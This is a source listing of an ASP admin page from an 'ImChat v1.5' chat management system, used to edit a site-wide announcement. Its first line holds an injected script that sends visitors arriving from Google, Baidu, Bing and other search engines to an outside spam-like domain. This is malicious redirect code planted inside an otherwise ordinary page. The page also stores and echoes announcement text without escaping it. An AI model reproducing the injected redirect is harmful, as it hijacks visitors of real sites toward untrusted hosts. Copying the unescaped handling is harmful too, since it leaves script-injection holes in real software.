d:\wwwroot\wuchunhua\liaotianim\system_manage\SetNotice.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="Check.asp"-->
003: <%
004: Dim ConfigRS
005: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
006: if request.form("Method")="SetNotice" then
007:     ConfigRS.OPEN "select * from [XK_Notice]" , DB_CONN , 1 , 3
008:     ConfigRS("Notice_Content")=request.form("Notice_Content")
009:     ConfigRS.update()
010:     ConfigRS.close()
011:     RW "<script>alert('修改成功!');location.href='SetNotice.asp';</script>"
012: else
013:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Notice]")
014: end if
015: %
>
016: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
017: <html xmlns="http://www.w3.org/1999/xhtml">
018: <head>
019: <title>ImChat v1.5 Manage System</title>
020: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
021: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
022: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
023: </head>
024: <body>
025: <div class="contentcontainer">
026:     <div class="headings alt">
027:         <h2>系统公告设置</h2>
028:     </div>
029:     <div class="contentbox">
030:         <form action="#" method="post" >
031:             <label for="System_Name"><strong>公告(支持HTML):</strong></label>
032:             <textarea id="Notice_Content" name="Notice_Content" rows="5" cols="100"><%=ConfigRS("Notice_Content")%></textarea>
033:             <br>
034:             <input type="hidden" value="SetNotice" name="Method"/>
035:             <input type="submit" value="提交" class="btn" />
036:         </form>
037:     </div>
038: </div>
039: </body>
040: </html>
041:
042:
043: